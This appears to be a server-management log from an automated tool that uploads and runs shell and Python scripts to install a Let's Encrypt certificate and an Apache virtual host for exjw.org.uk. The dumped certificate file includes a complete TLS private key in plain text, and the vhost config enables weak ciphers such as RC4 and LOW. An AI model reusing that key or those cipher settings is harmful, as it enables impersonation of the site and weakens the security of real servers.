-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-02 14:50:09: 

chmod 755 /tmp/pkp660049; /tmp/pkp660049; rm /tmp/pkp660049

2026-03-02 14:50:09: 


dir=/etc/ssl/certs


2026-03-02 14:50:09: 

PUT: /tmp/pkp387722

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-02 14:50:09: 

chmod 755 /tmp/pkp387722; /tmp/pkp387722; rm /tmp/pkp387722

2026-03-02 14:50:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-02 14:50:09: 

PUT: /tmp/pkp894777

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi


2026-03-02 14:50:09: 

chmod 755 /tmp/pkp894777; /tmp/pkp894777; rm /tmp/pkp894777

2026-03-02 14:50:09: 




2026-03-02 14:50:09: 

PUT: /tmp/pkp482572

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-02 14:50:09: 

chmod 755 /tmp/pkp482572; /tmp/pkp482572; rm /tmp/pkp482572

2026-03-02 14:50:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 14:50:09: Establishing a connection
2026-03-02 14:50:09: 

PUT: /tmp/pkp937665

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-02 14:50:09: 

chmod 755 /tmp/pkp937665; /tmp/pkp937665; rm /tmp/pkp937665

2026-03-02 14:50:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-02 14:50:09: 

PUT: /tmp/pkp573493

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 14:50:10: 

chmod 755 /tmp/pkp573493; /tmp/pkp573493; rm /tmp/pkp573493

2026-03-02 14:50:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1259

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-02 14:50:10: 

PUT: /tmp/pkp847348

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 14:50:10: 

chmod 755 /tmp/pkp847348; /tmp/pkp847348; rm /tmp/pkp847348

2026-03-02 14:50:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	5328
c0:b8:32:fc:d9:50:5b:ce:44:51:49:18:2f:cb:4e:39

-----BEGIN CERTIFICATE-----
MIIE6jCCA9KgAwIBAgISBfATaU3Q7iSkbhU6S4x9ENd/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMTM1MTM3WhcNMjYwNTMxMTM1MTM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANZ4
I3tYllmdTxjRaB9SK9OTUKm5ydomztYM9ON4nzh1ChH3Ch1WOlFBUVH9EWjCMDb9
uQhhdSWa7Ay22JFGwqQ7bvU+mNAjG64IKG7hEC0v6v+8bAEupoha48t9+IEyygZa
kDLW5KGxJ7iG3MfxFiVaosU2tSHFFgDNma3BIYWo8b6c77slepxzm9GOI1WKmwZ6
4AWSq6F+ZAMs5CA2QqnwT6rar0slrzWhjF2e+UNnVGhWtoewKFkRjntH0+aZeWMZ
xhKM1qhyoLsWZPyaGlEuQGyYcD7DHIoizyefcQg8ozrw4ldWibaOzT6F7QZFI0tF
TD7EQOkgZPKZ/A1EQk0CAwEAAaOCAhMwggIPMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQ0r+O5CNll
hyqmYRsLtUZ0Q87MRjAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
cmcvMBYGA1UdEQQPMA2CC2V4ancub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI4LmNy
bDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABnK8HKnkAAAQDAEgwRgIhAOVtKoFGKfle9vq8H0GL7B4P
0XQ3lpIllmZK3GNWgtScAiEAw6W2kNmPsgctawVIPIDRwBwNJ7PWQ7sRfTBHEfso
GDsAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZyvByqvAAAE
AwBHMEUCIQD2en6uqYrTdlBKARlsuajMKxTsAHrvOYMyMtbjaBDqVwIgUvZ2AZyP
lcWNl2GF+wNyoQPOVvnTGk8/xku52zRDxQcwDQYJKoZIhvcNAQELBQADggEBAGmN
YSS4WcBneQtyrOsEus5CabmvkZ7yfXXhCESlcBUUbwISFyhYYxasV6TvMo4syP/H
pbo0Vx5jknTTMrj7LM8ldX75P85GoTautpzXOoEsvfSGz/q99aGFUQm9cav6tTEo
mFj0Enq+8XSx4aUKh18vSOk6hgU/ktWrpSmMofYEreOp1Y0Xx34FYytjCaTZ0Brl
WjFeW2D5uYWfD1FcsiiZHRRl6xcnFJdAMxRwRYtPSzScaWDzmYIBmfIvD+NaufS4
w4w5REAYC7YGGBynEeqZ3HJ0KQMf1/4TFEebeAofwx5ubQL01mk2A63ZhQ6+LVuD
iVLkNkoPZ9aIPGQ2YS0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDWeCN7WJZZnU8Y
0WgfUivTk1CpucnaJs7WDPTjeJ84dQoR9wodVjpRQVFR/RFowjA2/bkIYXUlmuwM
ttiRRsKkO271PpjQIxuuCChu4RAtL+r/vGwBLqaIWuPLffiBMsoGWpAy1uShsSe4
htzH8RYlWqLFNrUhxRYAzZmtwSGFqPG+nO+7JXqcc5vRjiNVipsGeuAFkquhfmQD
LOQgNkKp8E+q2q9LJa81oYxdnvlDZ1RoVraHsChZEY57R9PmmXljGcYSjNaocqC7
FmT8mhpRLkBsmHA+wxyKIs8nn3EIPKM68OJXVom2js0+he0GRSNLRUw+xEDpIGTy
mfwNREJNAgMBAAECggEAHuQ5miHpsBlCRB0fjglgMi6xKu1Nl4xI9RhzKpOcfX2Q
OIO4k36w0jTiEXjt6cS0vKsBnKUrAkJlFzS8D3rdfNnpss30JWC1MzVOG6Bz28pf
4zug4++0AYZz8sLfiT6HTnB7fjMpRef2RHQ6d1swuSsrsFPftbBFadKzfM1Jdo6a
WRE1+VXDOXaDzqi8B4/4GCFSQgdYp9uWDN+Bo2zcGns6vH49/yurpZ347NKxY1xx
nlSYtWNsfkpmMkk32zByKaWOtUkkWWztwkEtg856gIL3fnz/Kdh5v2OkFaWArBaW
gQQrp7ha11c9cSEJWtUZvedumxuTZHfuzjQzk5WbGQKBgQDq51p8/imVKIbOeUSb
U34LhuknWs82k6Yq9Hx/g+KtQkmQab1sqEbmQEgC/3rBilk7gTKO5wT1b9Z2hUtT
afgJi8EgZmcU51nzHZ32xQG2iXl6Pt8wWTvPoE2C0xMmtJ7s6xdfmjWq7nygwiF7
pm5orG99AjSxyzSUMLj9xs0yaQKBgQDpuvqwcnQbqIezWl/Reth0BhHq6OQhjggC
exOpwpXO7erFJZM+TKq1C4Q/mhJy4d4TgyO4RqK6LvNq35FV/I0dbEXno0UcJeez
0E6xfLdG8hnxWNm20bwBIA+2x48Rdi3uMEOxISF6kDrixbJSxhK9+64uW01r9JbW
FuCnSDrMRQKBgGxswT20aykn/aFMJDi1vxY+/Vtm9QIyAJ8PHnAVRgnG8QGxbPe8
bI1W2mZX2id/XlSy+80uIQHQz2MBf5VO8mglk80Kt0XUy5YF86W1pWbF6cZdQtOk
PJFHYr+iAdL5x+l/UdiU63Ssg+YH9UCHv6qc/RDsdbojG2/TVW/91TURAoGAWszc
3vdXy/bo4PBXERZcSJajF1NqbO60heIyfVyuvjkHX5d9YFKAbt0Of3bne+HrWEE1
+zzVsubSgc5gs7rtR2Tss1RmYM0I+n4OVD1TJiifk3ck/TT1iKpf8G4OUoZKyaHO
al2ol+i4N6j94dI5Lb08qZ2msi3O+1Tf6ZzR2tECgYEAsjSNfpY4cVqpu/bTFVuK
Qu1f4nDwLMH30KFBUU1QRiF0L5KJ/voj/LZauBc8FWsHup8CWO6U6lKbZyne28lN
aStbvBFnL8gOkvgG54yvbq0owJ1hKctfDudxIE2oIx6ZpQWBRiKRkDgoWIsP7I3F
E0ml0jI9DRToBPbYQ0+BBXA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
